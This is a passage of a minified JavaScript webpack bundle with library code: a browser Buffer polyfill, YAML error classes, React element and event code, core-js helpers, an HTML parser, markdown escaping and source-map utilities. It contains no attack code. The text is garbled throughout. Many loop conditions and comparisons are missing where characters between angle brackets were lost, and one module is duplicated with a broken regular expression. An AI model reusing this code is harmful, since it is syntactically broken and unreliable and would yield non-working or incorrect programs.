i||B(e,t,n,4,3.4028234663852886e38,-3.4028234663852886e38),$.write(e,t,n,r,23,4),n+4}function q(e,t,n,r,i){return i||B(e,t,n,8,1.7976931348623157e308,-1.7976931348623157e308),$.write(e,t,n,r,52,8),n+8}function z(e){if(e=U(e).replace(ee,""),e.length<2)return"";for(;e.length%4!=0;)e+="=";return e}function U(e){return e.trim?e.trim():e.replace(/^\s+|\s+$/g,"")}function W(e){return e<16?"0"+e.toString(16):e.toString(16)}function V(e,t){t=t||1/0;for(var n,r=e.length,i=null,o=[],a=0;a55295&&n<57344){if(!i){if(n>56319){(t-=3)>-1&&o.push(239,191,189);continue}if(a+1===r){(t-=3)>-1&&o.push(239,191,189);continue}i=n;continue}if(n<56320){(t-=3)>-1&&o.push(239,191,189),i=n;continue}n=65536+(i-55296<<10|n-56320)}else i&&(t-=3)>-1&&o.push(239,191,189);if(i=null,n<128){if((t-=1)<0)break;o.push(n)}else if(n<2048){if((t-=2)<0)break;o.push(n>>6|192,63&n|128)}else if(n<65536){if((t-=3)<0)break;o.push(n>>12|224,n>>6&63|128,63&n|128)}else{if(!(n<1114112))throw new Error("Invalid code point");if((t-=4)<0)break;o.push(n>>18|240,n>>12&63|128,n>>6&63|128,63&n|128)}}return o}function H(e){for(var t=[],n=0;n>8,i=n%256,o.push(i),o.push(r);return o}function G(e){return X.toByteArray(z(e))}function Y(e,t,n,r){for(var i=0;i=t.length||i>=e.length);++i)t[i+n]=e[i];return i}function K(e){return e!==e}/*! + * The buffer module from node.js, for the browser. + * + * @author Feross Aboukhadijeh + * @license MIT + */ +var X=n(588),$=n(783),Z=n(399);t.Buffer=o,t.SlowBuffer=m,t.INSPECT_MAX_BYTES=50,o.TYPED_ARRAY_SUPPORT=void 0!==e.TYPED_ARRAY_SUPPORT?e.TYPED_ARRAY_SUPPORT:function(){try{var e=new Uint8Array(1);return e.__proto__={__proto__:Uint8Array.prototype,foo:function(){return 42}},42===e.foo()&&"function"==typeof e.subarray&&0===e.subarray(1,1).byteLength}catch(e){return!1}}(),t.kMaxLength=r(),o.poolSize=8192,o._augment=function(e){return e.__proto__=o.prototype,e},o.from=function(e,t,n){return a(null,e,t,n)},o.TYPED_ARRAY_SUPPORT&&(o.prototype.__proto__=Uint8Array.prototype,o.__proto__=Uint8Array,"undefined"!=typeof Symbol&&Symbol.species&&o[Symbol.species]===o&&Object.defineProperty(o,Symbol.species,{value:null,configurable:!0})),o.alloc=function(e,t,n){return u(null,e,t,n)},o.allocUnsafe=function(e){return l(null,e)},o.allocUnsafeSlow=function(e){return l(null,e)},o.isBuffer=function(e){return!(null==e||!e._isBuffer)},o.compare=function(e,t){if(!o.isBuffer(e)||!o.isBuffer(t))throw new TypeError("Arguments must be Buffers");if(e===t)return 0;for(var n=e.length,r=t.length,i=0,a=Math.min(n,r);i0&&(e=this.toString("hex",0,n).match(/.{2}/g).join(" "),this.length>n&&(e+=" ... ")),""},o.prototype.compare=function(e,t,n,r,i){if(!o.isBuffer(e))throw new TypeError("Argument must be a Buffer");if(void 0===t&&(t=0),void 0===n&&(n=e?e.length:0),void 0===r&&(r=0),void 0===i&&(i=this.length),t<0||n>e.length||r<0||i>this.length)throw new RangeError("out of range index");if(r>=i&&t>=n)return 0;if(r>=i)return-1;if(t>=n)return 1;if(t>>>=0,n>>>=0,r>>>=0,i>>>=0,this===e)return 0;for(var a=i-r,s=n-t,u=Math.min(a,s),l=this.slice(r,i),c=e.slice(t,n),p=0;pi)&&(n=i),e.length>0&&(n<0||t<0)||t>this.length)throw new RangeError("Attempt to write outside buffer bounds");r||(r="utf8");for(var o=!1;;)switch(r){case"hex":return x(this,e,t,n);case"utf8":case"utf-8":return w(this,e,t,n);case"ascii":return k(this,e,t,n);case"latin1":case"binary":return E(this,e,t,n);case"base64":return S(this,e,t,n);case"ucs2":case"ucs-2":case"utf16le":case"utf-16le":return C(this,e,t,n);default:if(o)throw new TypeError("Unknown encoding: "+r);r=(""+r).toLowerCase(),o=!0}},o.prototype.toJSON=function(){return{type:"Buffer",data:Array.prototype.slice.call(this._arr||this,0)}};var Q=4096;o.prototype.slice=function(e,t){var n=this.length;e=~~e,t=void 0===t?n:~~t,e<0?(e+=n)<0&&(e=0):e>n&&(e=n),t<0?(t+=n)<0&&(t=0):t>n&&(t=n),t0&&(i*=256);)r+=this[e+--t]*i;return r},o.prototype.readUInt8=function(e,t){return t||R(e,1,this.length),this[e]},o.prototype.readUInt16LE=function(e,t){return t||R(e,2,this.length),this[e]|this[e+1]<<8},o.prototype.readUInt16BE=function(e,t){return t||R(e,2,this.length),this[e]<<8|this[e+1]},o.prototype.readUInt32LE=function(e,t){return t||R(e,4,this.length),(this[e]|this[e+1]<<8|this[e+2]<<16)+16777216*this[e+3]},o.prototype.readUInt32BE=function(e,t){return t||R(e,4,this.length),16777216*this[e]+(this[e+1]<<16|this[e+2]<<8|this[e+3])},o.prototype.readIntLE=function(e,t,n){e|=0,t|=0,n||R(e,t,this.length);for(var r=this[e],i=1,o=0;++o=i&&(r-=Math.pow(2,8*t)),r},o.prototype.readIntBE=function(e,t,n){e|=0,t|=0,n||R(e,t,this.length);for(var r=t,i=1,o=this[e+--r];r>0&&(i*=256);)o+=this[e+--r]*i;return i*=128,o>=i&&(o-=Math.pow(2,8*t)),o},o.prototype.readInt8=function(e,t){return t||R(e,1,this.length),128&this[e]?-1*(255-this[e]+1):this[e]},o.prototype.readInt16LE=function(e,t){t||R(e,2,this.length);var n=this[e]|this[e+1]<<8;return 32768&n?4294901760|n:n},o.prototype.readInt16BE=function(e,t){t||R(e,2,this.length);var n=this[e+1]|this[e]<<8;return 32768&n?4294901760|n:n},o.prototype.readInt32LE=function(e,t){return t||R(e,4,this.length),this[e]|this[e+1]<<8|this[e+2]<<16|this[e+3]<<24},o.prototype.readInt32BE=function(e,t){return t||R(e,4,this.length),this[e]<<24|this[e+1]<<16|this[e+2]<<8|this[e+3]},o.prototype.readFloatLE=function(e,t){return t||R(e,4,this.length),$.read(this,e,!0,23,4)},o.prototype.readFloatBE=function(e,t){return t||R(e,4,this.length),$.read(this,e,!1,23,4)},o.prototype.readDoubleLE=function(e,t){return t||R(e,8,this.length),$.read(this,e,!0,52,8)},o.prototype.readDoubleBE=function(e,t){return t||R(e,8,this.length),$.read(this,e,!1,52,8)},o.prototype.writeUIntLE=function(e,t,n,r){if(e=+e,t|=0,n|=0,!r){j(this,e,t,n,Math.pow(2,8*n)-1,0)}var i=1,o=0;for(this[t]=255&e;++o=0&&(o*=256);)this[t+i]=e/o&255;return t+n},o.prototype.writeUInt8=function(e,t,n){return e=+e,t|=0,n||j(this,e,t,1,255,0),o.TYPED_ARRAY_SUPPORT||(e=Math.floor(e)),this[t]=255&e,t+1},o.prototype.writeUInt16LE=function(e,t,n){return e=+e,t|=0,n||j(this,e,t,2,65535,0),o.TYPED_ARRAY_SUPPORT?(this[t]=255&e,this[t+1]=e>>>8):N(this,e,t,!0),t+2},o.prototype.writeUInt16BE=function(e,t,n){return e=+e,t|=0,n||j(this,e,t,2,65535,0),o.TYPED_ARRAY_SUPPORT?(this[t]=e>>>8,this[t+1]=255&e):N(this,e,t,!1),t+2},o.prototype.writeUInt32LE=function(e,t,n){return e=+e,t|=0,n||j(this,e,t,4,4294967295,0),o.TYPED_ARRAY_SUPPORT?(this[t+3]=e>>>24,this[t+2]=e>>>16,this[t+1]=e>>>8,this[t]=255&e):F(this,e,t,!0),t+4},o.prototype.writeUInt32BE=function(e,t,n){return e=+e,t|=0,n||j(this,e,t,4,4294967295,0),o.TYPED_ARRAY_SUPPORT?(this[t]=e>>>24,this[t+1]=e>>>16,this[t+2]=e>>>8,this[t+3]=255&e):F(this,e,t,!1),t+4},o.prototype.writeIntLE=function(e,t,n,r){if(e=+e,t|=0,!r){var i=Math.pow(2,8*n-1);j(this,e,t,n,i-1,-i)}var o=0,a=1,s=0;for(this[t]=255&e;++o>0)-s&255;return t+n},o.prototype.writeIntBE=function(e,t,n,r){if(e=+e,t|=0,!r){var i=Math.pow(2,8*n-1);j(this,e,t,n,i-1,-i)}var o=n-1,a=1,s=0;for(this[t+o]=255&e;--o>=0&&(a*=256);)e<0&&0===s&&0!==this[t+o+1]&&(s=1),this[t+o]=(e/a>>0)-s&255;return t+n},o.prototype.writeInt8=function(e,t,n){return e=+e,t|=0,n||j(this,e,t,1,127,-128),o.TYPED_ARRAY_SUPPORT||(e=Math.floor(e)),e<0&&(e=255+e+1),this[t]=255&e,t+1},o.prototype.writeInt16LE=function(e,t,n){return e=+e,t|=0,n||j(this,e,t,2,32767,-32768),o.TYPED_ARRAY_SUPPORT?(this[t]=255&e,this[t+1]=e>>>8):N(this,e,t,!0),t+2},o.prototype.writeInt16BE=function(e,t,n){return e=+e,t|=0,n||j(this,e,t,2,32767,-32768),o.TYPED_ARRAY_SUPPORT?(this[t]=e>>>8,this[t+1]=255&e):N(this,e,t,!1),t+2},o.prototype.writeInt32LE=function(e,t,n){return e=+e,t|=0,n||j(this,e,t,4,2147483647,-2147483648),o.TYPED_ARRAY_SUPPORT?(this[t]=255&e,this[t+1]=e>>>8,this[t+2]=e>>>16,this[t+3]=e>>>24):F(this,e,t,!0),t+4},o.prototype.writeInt32BE=function(e,t,n){return e=+e,t|=0,n||j(this,e,t,4,2147483647,-2147483648),e<0&&(e=4294967295+e+1),o.TYPED_ARRAY_SUPPORT?(this[t]=e>>>24,this[t+1]=e>>>16,this[t+2]=e>>>8,this[t+3]=255&e):F(this,e,t,!1),t+4},o.prototype.writeFloatLE=function(e,t,n){return L(this,e,t,!0,n)},o.prototype.writeFloatBE=function(e,t,n){return L(this,e,t,!1,n)},o.prototype.writeDoubleLE=function(e,t,n){return q(this,e,t,!0,n)},o.prototype.writeDoubleBE=function(e,t,n){return q(this,e,t,!1,n)},o.prototype.copy=function(e,t,n,r){if(n||(n=0),r||0===r||(r=this.length),t>=e.length&&(t=e.length),t||(t=0),r>0&&r=this.length)throw new RangeError("sourceStart out of bounds");if(r<0)throw new RangeError("sourceEnd out of bounds");r>this.length&&(r=this.length),e.length-t=0;--i)e[i+t]=this[i+n];else if(a<1e3||!o.TYPED_ARRAY_SUPPORT)for(i=0;i>>=0,n=void 0===n?this.length:n>>>0,e||(e=0);var a;if("number"==typeof e)for(a=t;a0&&(a=this.buffer[u-1],e.call(r,a)<0);)if(u--,this.pointer-u>n/2-1){o=" ... ",u+=5;break}for(l="",i=this.pointer;in/2-1){l=" ... ",i-=5;break}return""+new Array(t).join(" ")+o+this.buffer.slice(u,i)+l+"\n"+new Array(t+this.pointer-u+o.length).join(" ")+"^"},t.prototype.toString=function(){var e,t;return e=this.get_snippet(),t=" on line "+(this.line+1)+", column "+(this.column+1),e?t:t+":\n"+e},t}(),this.YAMLError=function(e){function n(e){this.message=e,n.__super__.constructor.call(this),this.stack=this.toString()+"\n"+(new Error).stack.split("\n").slice(1).join("\n")}return t(n,e),n.prototype.toString=function(){return this.message},n}(Error),this.MarkedYAMLError=function(e){function n(e,t,r,i,o){this.context=e,this.context_mark=t,this.problem=r,this.problem_mark=i,this.note=o,n.__super__.constructor.call(this)}return t(n,e),n.prototype.toString=function(){var e;return e=[],null!=this.context&&e.push(this.context),null==this.context_mark||null!=this.problem&&null!=this.problem_mark&&this.context_mark.line===this.problem_mark.line&&this.context_mark.column===this.problem_mark.column||e.push(this.context_mark.toString()),null!=this.problem&&e.push(this.problem),null!=this.problem_mark&&e.push(this.problem_mark.toString()),null!=this.note&&e.push(this.note),e.join("\n")},n}(this.YAMLError)}).call(this)},function(e,t,n){e.exports=!n(55)(function(){return 7!=Object.defineProperty({},"a",{get:function(){return 7}}).a})},function(e,t,n){"use strict";function r(e,t,n){return n?[e,t]:e}Object.defineProperty(t,"__esModule",{value:!0}),t.default=r,e.exports=t.default},function(e,t){function n(e){return null!=e&&"object"==typeof e}e.exports=n},function(e,t,n){"use strict";function r(e,t,n,r){this.dispatchConfig=e,this._targetInst=t,this.nativeEvent=n;var i=this.constructor.Interface;for(var o in i)if(i.hasOwnProperty(o)){var s=i[o];s?this[o]=s(n):"target"===o?this.target=r:this[o]=n[o]}var u=null!=n.defaultPrevented?n.defaultPrevented:!1===n.returnValue;return this.isDefaultPrevented=u?a.thatReturnsTrue:a.thatReturnsFalse,this.isPropagationStopped=a.thatReturnsFalse,this}var i=n(13),o=n(70),a=n(33),s=(n(10),["dispatchConfig","_targetInst","nativeEvent","isDefaultPrevented","isPropagationStopped","_dispatchListeners","_dispatchInstances"]),u={type:null,target:null,currentTarget:a.thatReturnsNull,eventPhase:null,bubbles:null,cancelable:null,timeStamp:function(e){return e.timeStamp||Date.now()},defaultPrevented:null,isTrusted:null};i(r.prototype,{preventDefault:function(){this.defaultPrevented=!0;var e=this.nativeEvent;e&&(e.preventDefault?e.preventDefault():"unknown"!=typeof e.returnValue&&(e.returnValue=!1),this.isDefaultPrevented=a.thatReturnsTrue)},stopPropagation:function(){var e=this.nativeEvent;e&&(e.stopPropagation?e.stopPropagation():"unknown"!=typeof e.cancelBubble&&(e.cancelBubble=!0),this.isPropagationStopped=a.thatReturnsTrue)},persist:function(){this.isPersistent=a.thatReturnsTrue},isPersistent:a.thatReturnsFalse,destructor:function(){var e=this.constructor.Interface;for(var t in e)this[t]=null;for(var n=0;n1?t-1:0),i=1;i2?n-2:0),o=2;o=n?e:e.length+1===n?""+t+e:""+new Array(n-e.length+1).join(t)+e},this.to_hex=function(e){return"string"==typeof e&&(e=e.charCodeAt(0)),e.toString(16)}}).call(this)}).call(t,n(16))},function(e,t,n){var r=n(77);e.exports=function(e){if(!r(e))throw TypeError(e+" is not an object!");return e}},function(e,t){var n=e.exports={version:"2.5.5"};"number"==typeof __e&&(__e=n)},function(e,t,n){var r=n(138),i=n(370);e.exports=n(106)?function(e,t,n){return r.f(e,t,i(1,n))}:function(e,t,n){return e[t]=n,e}},function(e,t,n){"use strict";var r=n(744),i=Math.max;e.exports=function(e){return i(0,r(e))}},function(e,t,n){function r(e){return null==e?void 0===e?u:s:l&&l in Object(e)?o(e):a(e)}var i=n(82),o=n(912),a=n(941),s="[object Null]",u="[object Undefined]",l=i?i.toStringTag:void 0;e.exports=r},function(e,t,n){function r(e,t){var n=o(e,t);return i(n)?n:void 0}var i=n(873),o=n(913);e.exports=r},function(e,t,n){function r(e){return a(e)?i(e):o(e)}var i=n(406),o=n(876),a=n(86);e.exports=r},function(e,t,n){"use strict"},function(e,t,n){"use strict";var r=n(11),i=(n(8),function(e){var t=this;if(t.instancePool.length){var n=t.instancePool.pop();return t.call(n,e),n}return new t(e)}),o=function(e,t){var n=this;if(n.instancePool.length){var r=n.instancePool.pop();return n.call(r,e,t),r}return new n(e,t)},a=function(e,t,n){var r=this;if(r.instancePool.length){var i=r.instancePool.pop();return r.call(i,e,t,n),i}return new r(e,t,n)},s=function(e,t,n,r){var i=this;if(i.instancePool.length){var o=i.instancePool.pop();return i.call(o,e,t,n,r),o}return new i(e,t,n,r)},u=function(e){var t=this;e instanceof t||r("25"),e.destructor(),t.instancePool.length`\\x00-\\x20]+|'[^']*'|\"[^\"]*\"))?)*\\s*/?>",u="]",l=new RegExp("^(?:<[A-Za-z][A-Za-z0-9-]*(?:\\s+[a-zA-Z_:][a-zA-Z0-9:._-]*(?:\\s*=\\s*(?:[^\"'=<>`\\x00-\\x20]+|'[^']*'|\"[^\"]*\"))?)*\\s*/?>|]|\x3c!----\x3e|\x3c!--(?:-?[^>-])(?:-?[^-])*--\x3e|[<][?].*?[?][>]|]*>|)","i"),c=/[\\&]/,p="[!\"#$%&'()*+,./:;<=>?@[\\\\\\]^_`{|}~-]",f=new RegExp("\\\\"+p+"|"+a,"gi"),h=new RegExp('[&<>"]',"g"),d=new RegExp(a+'|[&<>"]',"gi"),m=function(e){return 92===e.charCodeAt(0)?e.charAt(1):o(e)},v=function(e){return c.test(e)?e.replace(f,m):e},g=function(e){try{return r(i(e))}catch(t){return e}},y=function(e){switch(e){case"&":return"&";case"<":return"<";case">":return">";case'"':return""";default:return e}},_=function(e,t){return h.test(e)?t?e.replace(d,y):e.replace(h,y):e};e.exports={unescapeString:v,normalizeURI:g,escapeXml:_,reHtmlTag:l,OPENTAG:s,CLOSETAG:u,ENTITY:a,ESCAPABLE:p}},function(e,t){e.exports={}},function(e,t,n){var r=n(186),i=n(183);e.exports=function(e){return r(i(e))}},function(e,t,n){var r=n(183);e.exports=function(e){return Object(r(e))}},function(e,t){e.exports=function(e){return"object"==typeof e?null!==e:"function"==typeof e}},function(e,t,n){var r=n(32),i=n(64),o=n(137),a=n(207)("src"),s=Function.toString,u=(""+s).split("toString");n(63).inspectSource=function(e){return s.call(e)},(e.exports=function(e,t,n,s){var l="function"==typeof n;l&&(o(n,"name")||i(n,"name",t)),e[t]!==n&&(l&&(o(n,a)||i(n,a,e[t]?""+e[t]:u.join(String(t)))),e===r?e[t]=n:s?e[t]?e[t]=n:i(e,t,n):(delete e[t],i(e,t,n)))})(Function.prototype,"toString",function(){return"function"==typeof this&&this[a]||s.call(this)})},function(e,t,n){"use strict";var r=n(383)();e.exports=function(e){return e!==r&&null!==e}},function(e,t,n){"use strict";function r(e){return void 0===e||null===e}function i(e){return"object"==typeof e&&null!==e}function o(e){return Array.isArray(e)?e:r(e)?[]:[e]}function a(e,t){var n,r,i,o;if(t)for(o=Object.keys(t),n=0,r=o.length;n`\\x00-\\x20]+|'[^']*'|\"[^\"]*\"))?)*\\s*/?>",u="]",l=new RegExp("^(?:<[A-Za-z][A-Za-z0-9-]*(?:\\s+[a-zA-Z_:][a-zA-Z0-9:._-]*(?:\\s*=\\s*(?:[^\"'=<>`\\x00-\\x20]+|'[^']*'|\"[^\"]*\"))?)*\\s*/?>|]|\x3c!----\x3e|\x3c!--(?:-?[^>-])(?:-?[^-])*--\x3e|[<][?].*?[?][>]|]*>|)","i"),c=/[\\&]/,p="[!\"#$%&'()*+,./:;<=>?@[\\\\\\]^_`{|}~-]",f=new RegExp("\\\\"+p+"|"+a,"gi"),h=new RegExp('[&<>"]',"g"),d=new RegExp(a+'|[&<>"]',"gi"),m=function(e){return 92===e.charCodeAt(0)?e.charAt(1):o(e)},v=function(e){return c.test(e)?e.replace(f,m):e},g=function(e){try{return r(i(e))}catch(t){return e}},y=function(e){switch(e){case"&":return"&";case"<":return"<";case">":return">";case'"':return""";default:return e}},_=function(e,t){return h.test(e)?t?e.replace(d,y):e.replace(h,y):e};e.exports={unescapeString:v,normalizeURI:g,escapeXml:_,reHtmlTag:l,OPENTAG:s,CLOSETAG:u,ENTITY:a,ESCAPABLE:p}},function(e,t,n){"use strict";var r=n(13),i=n(490),o=n(1120),a=n(1121),s=n(93),u=n(1122),l=n(1123),c=n(1124),p=n(1128),f=s.createElement,h=s.createFactory,d=s.cloneElement,m=r,v=function(e){return e},g={Children:{map:o.map,forEach:o.forEach,count:o.count,toArray:o.toArray,only:p},Component:i.Component,PureComponent:i.PureComponent,createElement:f,cloneElement:d,isValidElement:s.isValidElement,PropTypes:u,createClass:c,createFactory:h,createMixin:v,DOM:a,version:l,__spread:m};e.exports=g},function(e,t,n){"use strict";function r(e){return void 0!==e.ref}function i(e){return void 0!==e.key}var o=n(13),a=n(53),s=(n(10),n(494),Object.prototype.hasOwnProperty),u=n(492),l={key:!0,ref:!0,__self:!0,__source:!0},c=function(e,t,n,r,i,o,a){var s={$$typeof:u,type:e,key:t,ref:n,props:a,_owner:o};return s};c.createElement=function(e,t,n){var o,u={},p=null,f=null;if(null!=t){r(t)&&(f=t.ref),i(t)&&(p=""+t.key),void 0===t.__self?null:t.__self,void 0===t.__source?null:t.__source;for(o in t)s.call(t,o)&&!l.hasOwnProperty(o)&&(u[o]=t[o])}var h=arguments.length-2;if(1===h)u.children=n;else if(h>1){for(var d=Array(h),m=0;m1){for(var g=Array(v),y=0;y=0||Object.prototype.hasOwnProperty.call(e,r)&&(n[r]=e[r]);return n}},function(e,t){e.exports=function(e){if("function"!=typeof e)throw TypeError(e+" is not a function!");return e}},function(e,t){var n={}.toString;e.exports=function(e){return n.call(e).slice(8,-1)}},function(e,t,n){var r=n(355),i=n(185);e.exports=Object.keys||function(e){return r(e,i)}},function(e,t){e.exports=function(e,t){return{enumerable:!(1&e),configurable:!(2&e),writable:!(4&e),value:t}}},function(e,t,n){var r=n(45).f,i=n(56),o=n(21)("toStringTag");e.exports=function(e,t,n){e&&!i(e=n?e:e.prototype,o)&&r(e,o,{configurable:!0,value:t})}},function(e,t,n){"use strict";var r=n(634)(!0);n(349)(String,"String",function(e){this._t=String(e),this._i=0},function(){var e,t=this._t,n=this._i;return n>=t.length?{value:void 0,done:!0}:(e=r(t,n),this._i+=e.length,{value:e,done:!1})})},function(e,t,n){n(639);for(var r=n(25),i=n(57),o=n(74),a=n(21)("toStringTag"),s="CSSRuleList,CSSStyleDeclaration,CSSValueList,ClientRectList,DOMRectList,DOMStringList,DOMTokenList,DataTransferItemList,FileList,HTMLAllCollection,HTMLCollection,HTMLFormElement,HTMLSelectElement,MediaList,MimeTypeArray,NamedNodeMap,NodeList,PaintRequestList,Plugin,PluginArray,SVGLengthList,SVGNumberList,SVGPathSegList,SVGPointList,SVGStringList,SVGTransformList,SourceBufferList,StyleSheetList,TextTrackCueList,TextTrackList,TouchList".split(","),u=0;u0?i(r(e),9007199254740991):0}},function(e,t,n){(function(e){function n(e){return Array.isArray?Array.isArray(e):"[object Array]"===v(e)}function r(e){return"boolean"==typeof e}function i(e){return null===e}function o(e){return null==e}function a(e){return"number"==typeof e}function s(e){return"string"==typeof e}function u(e){return"symbol"==typeof e}function l(e){return void 0===e}function c(e){return"[object RegExp]"===v(e)}function p(e){return"object"==typeof e&&null!==e}function f(e){return"[object Date]"===v(e)}function h(e){return"[object Error]"===v(e)||e instanceof Error}function d(e){return"function"==typeof e}function m(e){return null===e||"boolean"==typeof e||"number"==typeof e||"string"==typeof e||"symbol"==typeof e||void 0===e}function v(e){return Object.prototype.toString.call(e)}t.isArray=n,t.isBoolean=r,t.isNull=i,t.isNullOrUndefined=o,t.isNumber=a,t.isString=s,t.isSymbol=u,t.isUndefined=l,t.isRegExp=c,t.isObject=p,t.isDate=f,t.isError=h,t.isFunction=d,t.isPrimitive=m,t.isBuffer=e.isBuffer}).call(t,n(44).Buffer)},function(e,t,n){"use strict";function r(e){return"string"==typeof e&&i.test(e)}Object.defineProperty(t,"__esModule",{value:!0}),t.default=r;var i=/-webkit-|-moz-|-ms-/;e.exports=t.default},function(e,t){e.exports={Text:"text",Directive:"directive",Comment:"comment",Script:"script",Style:"style",Tag:"tag",CDATA:"cdata",Doctype:"doctype",isTag:function(e){return"tag"===e.type||"script"===e.type||"style"===e.type}}},function(e,t,n){var r=n(730),i=n(729);t.decode=function(e,t){return(!t||t<=0?i.XML:i.HTML)(e)},t.decodeStrict=function(e,t){return(!t||t<=0?i.XML:i.HTMLStrict)(e)},t.encode=function(e,t){return(!t||t<=0?r.XML:r.HTML)(e)},t.encodeXML=r.XML,t.encodeHTML4=t.encodeHTML5=t.encodeHTML=r.HTML,t.decodeXML=t.decodeXMLStrict=i.XML,t.decodeHTML4=t.decodeHTML5=t.decodeHTML=i.HTML,t.decodeHTML4Strict=t.decodeHTML5Strict=t.decodeHTMLStrict=i.HTMLStrict,t.escape=r.escape},function(e,t,n){"use strict";var r=n(79);e.exports=function(e){if(!r(e))throw new TypeError("Cannot use null or undefined");return e}},function(e,t,n){function r(t,n){return delete e.exports[t],e.exports[t]=n,n}var i=n(392),o=n(719);e.exports={Parser:i,Tokenizer:n(393),ElementType:n(112),DomHandler:o,get FeedHandler(){return r("FeedHandler",n(779))},get Stream(){return r("Stream",n(781))},get WritableStream(){return r("WritableStream",n(394))},get ProxyHandler(){return r("ProxyHandler",n(780))},get DomUtils(){return r("DomUtils",n(721))},get CollectingHandler(){return r("CollectingHandler",n(778))},DefaultHandler:o,get RssHandler(){return r("RssHandler",this.FeedHandler)},parseDOM:function(e,t){var n=new o(t);return new i(n,t).end(e),n.dom},parseFeed:function(t,n){var r=new e.exports.FeedHandler(n);return new i(r,n).end(t),r.dom},createDomStream:function(e,t,n){var r=new o(e,t,n);return new i(r,t)},EVENTS:{attribute:2,cdatastart:0,cdataend:0,text:1,processinginstruction:2,comment:1,commentend:0,closetag:1,opentag:2,opentagname:1,error:1,end:0}}},function(e,t,n){"use strict";function r(e,t){Error.call(this),this.name="YAMLException",this.reason=e,this.mark=t,this.message=(this.reason||"(unknown reason)")+(this.mark?" "+this.mark.toString():""),Error.captureStackTrace?Error.captureStackTrace(this,this.constructor):this.stack=(new Error).stack||""}r.prototype=Object.create(Error.prototype),r.prototype.constructor=r,r.prototype.toString=function(e){var t=this.name+": ";return t+=this.reason||"(unknown reason)",!e&&this.mark&&(t+=" "+this.mark.toString()),t},e.exports=r},function(e,t,n){"use strict";var r=n(81);e.exports=new r({include:[n(400)],implicit:[n(834),n(827)],explicit:[n(819),n(829),n(830),n(832)]})},function(e,t){function n(e,t){return e===t||e!==e&&t!==t}e.exports=n},function(e,t){function n(e,t,n){if(t in e)return e[t];if(3===arguments.length)return n;throw new Error('"'+t+'" is a required argument.')}function r(e){var t=e.match(y);return t?{scheme:t[1],auth:t[2],host:t[3],port:t[4],path:t[5]}:null}function i(e){var t="";return e.scheme&&(t+=e.scheme+":"),t+="//",e.auth&&(t+=e.auth+"@"),e.host&&(t+=e.host),e.port&&(t+=":"+e.port),e.path&&(t+=e.path),t}function o(e){var n=e,o=r(e);if(o){if(!o.path)return e;n=o.path}for(var a,s=t.isAbsolute(n),u=n.split(/\/+/),l=0,c=u.length-1;c>=0;c--)a=u[c],"."===a?u.splice(c,1):".."===a?l++:l>0&&(""===a?(u.splice(c+1,l),l=0):(u.splice(c,2),l--));return n=u.join("/"),""===n&&(n=s?"/":"."),o?(o.path=n,i(o)):n}function a(e,t){""===e&&(e="."),""===t&&(t=".");var n=r(t),a=r(e);if(a&&(e=a.path||"/"),n&&!n.scheme)return a&&(n.scheme=a.scheme),i(n);if(n||t.match(_))return t;if(a&&!a.host&&!a.path)return a.host=t,i(a);var s="/"===t.charAt(0)?t:o(e.replace(/\/+$/,"")+"/"+t);return a?(a.path=s,i(a)):s}function s(e,t){""===e&&(e="."),e=e.replace(/\/$/,"");for(var n=0;0!==t.indexOf(e+"/");){var r=e.lastIndexOf("/");if(r<0)return t;if(e=e.slice(0,r),e.match(/^([^\/]+:\/)?\/*$/))return t;++n}return Array(n+1).join("../")+t.substr(e.length+1)}function u(e){return e}function l(e){return p(e)?"$"+e:e}function c(e){return p(e)?e.slice(1):e}function p(e){if(!e)return!1;var t=e.length;if(t<9)return!1;if(95!==e.charCodeAt(t-1)||95!==e.charCodeAt(t-2)||111!==e.charCodeAt(t-3)||116!==e.charCodeAt(t-4)||111!==e.charCodeAt(t-5)||114!==e.charCodeAt(t-6)||112!==e.charCodeAt(t-7)||95!==e.charCodeAt(t-8)||95!==e.charCodeAt(t-9))return!1;for(var n=t-10;n>=0;n--)if(36!==e.charCodeAt(n))return!1;return!0}function f(e,t,n){var r=d(e.source,t.source);return 0!==r?r:0!==(r=e.originalLine-t.originalLine)?r:0!==(r=e.originalColumn-t.originalColumn)||n?r:0!==(r=e.generatedColumn-t.generatedColumn)?r:(r=e.generatedLine-t.generatedLine,0!==r?r:d(e.name,t.name))}function h(e,t,n){var r=e.generatedLine-t.generatedLine;return 0!==r?r:0!==(r=e.generatedColumn-t.generatedColumn)||n?r:0!==(r=d(e.source,t.source))?r:0!==(r=e.originalLine-t.originalLine)?r:(r=e.originalColumn-t.originalColumn,0!==r?r:d(e.name,t.name))}function d(e,t){return e===t?0:null===e?1:null===t?-1:e>t?1:-1}function m(e,t){var n=e.generatedLine-t.generatedLine;return 0!==n?n:0!==(n=e.generatedColumn-t.generatedColumn)?n:0!==(n=d(e.source,t.source))?n:0!==(n=e.originalLine-t.originalLine)?n:(n=e.originalColumn-t.originalColumn,0!==n?n:d(e.name,t.name))}function v(e){return JSON.parse(e.replace(/^\)]}'[^\n]*\n/,""))}function g(e,t,n){if(t=t||"",e&&("/"!==e[e.length-1]&&"/"!==t[0]&&(e+="/"),t=e+t),n){var s=r(n);if(!s)throw new Error("sourceMapURL could not be parsed");if(s.path){var u=s.path.lastIndexOf("/");u>=0&&(s.path=s.path.substring(0,u+1))}t=a(i(s),t)}return o(t)}t.getArg=n;var y=/^(?:([\w+\-.]+):)?\/\/(?:(\w+:\w+)@)?([\w.-]*)(?::(\d+))?(.*)$/,_=/^data:.+\,.+$/;t.urlParse=r,t.urlGenerate=i,t.normalize=o,t.join=a,t.isAbsolute=function(e){return"/"===e.charAt(0)||y.test(e)},t.relative=s;var b=function(){return!("__proto__"in Object.create(null))}();t.toSetString=b?u:l,t.fromSetString=b?u:c,t.compareByOriginalPositions=f,t.compareByGeneratedPositionsDeflated=h,t.compareByGeneratedPositionsInflated=m,t.parseSourceMapInput=v,t.computeSourceURL=g},function(e,t,n){"use strict";function r(e){return"button"===e||"input"===e||"select"===e||"textarea"===e}function i(e,t,n){switch(e){case"onClick":case"onClickCapture":case"onDoubleClick":case"onDoubleClickCapture":case"onMouseDown":case"onMouseDownCapture":case"onMouseMove":case"onMouseMoveCapture":case"onMouseUp":case"onMouseUpCapture":return!(!n.disabled||!r(t));default:return!1}}var o=n(11),a=n(248),s=n(249),u=n(253),l=n(478),c=n(479),p=(n(8),{}),f=null,h=function(e,t){e&&(s.executeDispatchesInOrder(e,t),e.isPersistent()||e.constructor.release(e))},d=function(e){return h(e,!0)},m=function(e){return 